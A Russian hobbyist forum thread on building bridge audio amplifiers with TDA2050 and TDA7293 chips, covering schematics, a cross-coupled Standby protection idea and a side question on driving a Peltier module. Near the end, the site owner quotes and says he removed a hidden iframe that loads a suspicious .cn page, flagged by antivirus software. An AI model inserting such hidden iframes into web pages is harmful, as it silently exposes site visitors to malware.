Мостовые усилители мощности

[Nota Bene]

Приперло - понадобился мощный усилок на 8-ми омную нагрузку. По питанию не хотелось уходить выше +/-22 вольт, решил сделать мост на 2-х TDA2050. Конечная цель - ИТУН для саба. За основу была взята схема усилителя с перекрестно-симметричными связями (по Шкритеку), так как мостовая схема из даташита на TDA2030, ну, совсем не нравилась. Смакетировал то, что намоделировал - и ИНУН и ИТУН - все работает как часы. Иллюстрации прикладываю. В zip-файле схемы под МС7 для любителей.

[__sergey__]

Спасибо за внимание.

[Nota Bene]

Начал клепать мостовой ИТУН на TDA7293 для саба и озаботился защитой динамика от постоянки при аварии. После некоторых размышлений пришел к такой идеологии:
- исходные данные: имеем усилителей мощности - 2шт. То, что они выйдут из строя одновременно (аварию по питанию не рассматриваем) очень маловероятно. Эти микросхемы имеют вход Standby, который переводит мощный выход в высокоимпедансное состояние.
- вводим пару схем контроля за длительной постоянкой на выходе каждого УМ, а выходы этих схем заводим на входы Standby противоположных плеч мостового усилителя (то есть перекрестно).
- получается, что при выходе из строя одного из плеч мостового УМ, другое плечо отключается, предотвращая выход из строя динамика. Можно сделать индикацию вышедшего из строя элемента.
Реле ставить не хочется. Мысли будут у кого какие?

[anatol0]

Мысли будут у кого какие?

Пока только вижу необходимость предусмотреть переходные процессы при включении - выключении.

[Nota Bene]

вижу необходимость предусмотреть переходные процессы при включении - выключении

К сожалению, в подобной (перекрестно-симметричной) конфигурации функция "Mute" у TDA7293 работать не будет (моделировал)
Тут можно только исходить из задания достаточно большой постоянной времени срабатывания защиты (~3...4сек). А переходные процессы при включении/выключении минимизировать в предыдущих каскадах обработки сигнала.

[Nota Bene]

По сабжу из поста #122 собрал ИТУН для применения в системе с ЭМОС. С описанной защитой. Работает устойчиво. Конструкция встраивается в активную акустику, отдельного корпуса иметь не будет. На очереди второй комплект.

[kaskod]

С описанной защитой.

А почему классическая защита неустроила ?, а вдруг етот "стендбай" загнётся, микруха непредсказуемо горит. Я бы не рисковал.

[Nota Bene]

А почему классическая защита неустроила ?, а вдруг етот "стендбай" загнётся, микруха непредсказуемо горит. Я бы не рисковал.

Смысл такой защиты несколько иной - одна микруха дохнет, а та, которая в другом плече (еще исправная) отключает СВОЙ выход, в результате ток через катушку динамика не течет. Аварийность выхода одного плеча (не НОЛЬ на выходе в течение определенного времени) поддерживает высокоомность выхода другой микрухи.

[wert]

намоделировал - и ИНУН и ИТУН - все работает как часы. Иллюстрации прикладываю. В zip-файле схемы под МС7 для любителей.

Nota Bene!
В МС8 при выходной мощности 20 Вт на частоте 20 кГ ИНУН имеет THD=0,1%, ИТУН показал THD=2%. А как в железе?
(модели УМЗЧ взяты с вашей странички, посвященной обсуждаемым схемным решениям).

[Nota Bene]

В МС8 при выходной мощности 20 Вт на частоте 20 кГ ИНУН имеет THD=0,1%, ИТУН показал THD=2%. А как в железе?

В железе в режиме ИТУН не мерил, так как использовал свои конструкции для сабов. В режиме ИНУН на TDA2050 замеры выкладывал тут - https://forum.vegalab.ru/showthread....2&postcount=30
В уточненной модели ИТУНа (Х4 и Х5 должны иметь усиление =10) все гораздо лучше

[Sagittarius]

1. исходные данные: имеем усилителей мощности - 2шт. То, что они выйдут из строя одновременно (аварию по питанию не рассматриваем) очень маловероятно. Эти микросхемы имеют вход Standby, который переводит мощный выход в высокоимпедансное состояние.

2. вводим пару схем контроля за длительной постоянкой на выходе каждого УМ, а выходы этих схем заводим на входы Standby противоположных плеч мостового усилителя (то есть перекрестно). Получается, что при выходе из строя одного из плеч мостового УМ, другое плечо отключается, предотвращая выход из строя динамика. Можно сделать индикацию вышедшего из строя элемента.
3. Реле ставить не хочется. Мысли будут у кого какие?

1. Не столь уж маловероятно, если а) представить себе площадь кристаллов выходников, б) вычислить рассеиваемую ими в 4 раза большую сравнительно с обычным включением при том же напряжении питания и в) две идентичные МС рассеивают одинаковую мощность и выход из строя одной указывает на готовность второй к тому же действию. Или - максимальная выходная мощность должна быть только в 2 раза больше, чем при стандартном включении. А в чём тогда выигрыш? Отказ от рассыпухи для спокойной жизни без мыслей о схемотехнике и коррекциях? Уменьшение габаритов?

2. Решение хорошее.

3. Есть мысль приобрести запасную пару АС.

[Nota Bene]

А в чём тогда выигрыш?

Уж больно неохота силовые трансформаторы перематывать, и нагрузка нестандартная в 7 Ом (динамик НЧ ГД-01-25). Микросхемы далеки от предельных режимов. Так что для саба (встраиваемый усилок) - самое то.

2. Решение хорошее.

Само напрашивалось

[Secondband]

Извините за вопрос немного не по теме, но я уже не знаю у кого можно спросить.
В общем ситуация такая: мне нужно собрать схему усилителя мощности для элемента Пельтье. Усилитель должен быть обязательно однополярным, но иметь возможность менять полюсовку питания на модуле Пельтье. Этим условия удовлетворяет (как я понимаю) мостовой усилитель на двух операционниках, модуль Пельтье включен в качестве нагрузки. Управляться он будет постоянным напряжением с выхода ЦАПа. Посоветуйте схемки с описанием, чтобы можно было хоть что-то понять (например как задать коэффициент напряжения).

Добавлено через 22 минуты
*усилитель должен быть обязательно с однополярным питанием

[Prophetmaster]

Secondband,

мне нужно собрать схему усилителя мощности для элемента Пельтье

Управляться он будет постоянным напряжением с выхода ЦАПа.

Offтопик:
А зачем тут нужен УМ? Есть специализированные микросхемы-драйверы, типа тех, которые управляют электродвигателями постоянного тока.

[Secondband]

ну посоветуйте что-нибудь? говорят удобнее всего использовать TDA. У них и токи подходящие и питание однополярное. но вот никак я не разберусь как ее включить на постоянку.

[sia_2]

ну посоветуйте что-нибудь? говорят удобнее всего использовать TDA. У них и токи подходящие и питание однополярное. но вот никак я не разберусь как ее включить на постоянку.

Посмотри в сторону ключевых (PWM, Class-D) усилителей, они практически все мостовые, греться так сильно не будет. Микрух для этого дела сейчас довольно много наклепали. TDA8924 к примеру

[Nota Bene]

Так что для саба (встраиваемый усилок) - самое то.

Обновил/добавил на своем сайте статью "Мостовые усилители мощности": в развитие поста №122. Схема+сборочный чертеж платы+печатная плата.
Печатная плата мостового ИТУНа на TDA7293 сконвертирована в формат .lay by MiRoN (есть также в формате .pdf). Пользуйтесь

[witali]

Offтопик:
Nota Bene, у тебя на сайте червячог сидит, почисть

[Nota Bene]

Offтопик:
Nota Bene, у тебя на сайте червячог сидит, почисть

Исключено. Это - ложное срабатывание антивиря. Кстати, какого?
Drweb5.0 и Nod32 ничего подозрительного не находят.
Сделал зеркало статьи на другом хостинге. Проверь.
http://reanimator-h.hotbox.ru/bridge.htm

[pako7]

Исключено. Это - ложное срабатывание антивиря. Кстати, какого?
Drweb5.0 и Nod32 ничего подозрительного не находят.
Сделал зеркало статьи на другом хостинге. Проверь.
http://reanimator-h.hotbox.ru/bridge.htm

AVAST видит какой то "HTML Iframe-inf" при попытке войти на [url]http://reanimator-h.hotbox.ru/[url].
Самое странное что при входе на http://reanimator-h.hotbox.ru/bridge.htm всё тихо, а на http://reanimator-h.hotbox.ru/ ругается.

[Nota Bene]

Offтопик:

AVAST видит какой то "HTML Iframe-inf" при попытке войти

На титульной странице хостер вписывает свой код, и в нем есть строка:
"<iframe src="http://findbigsoftpack.cn:8080/index.php" width=165 height=131 style="visibility: hidden"></iframe> "
Выкинул я её - попробуйте зайти на сайт еще раз (с Авастом).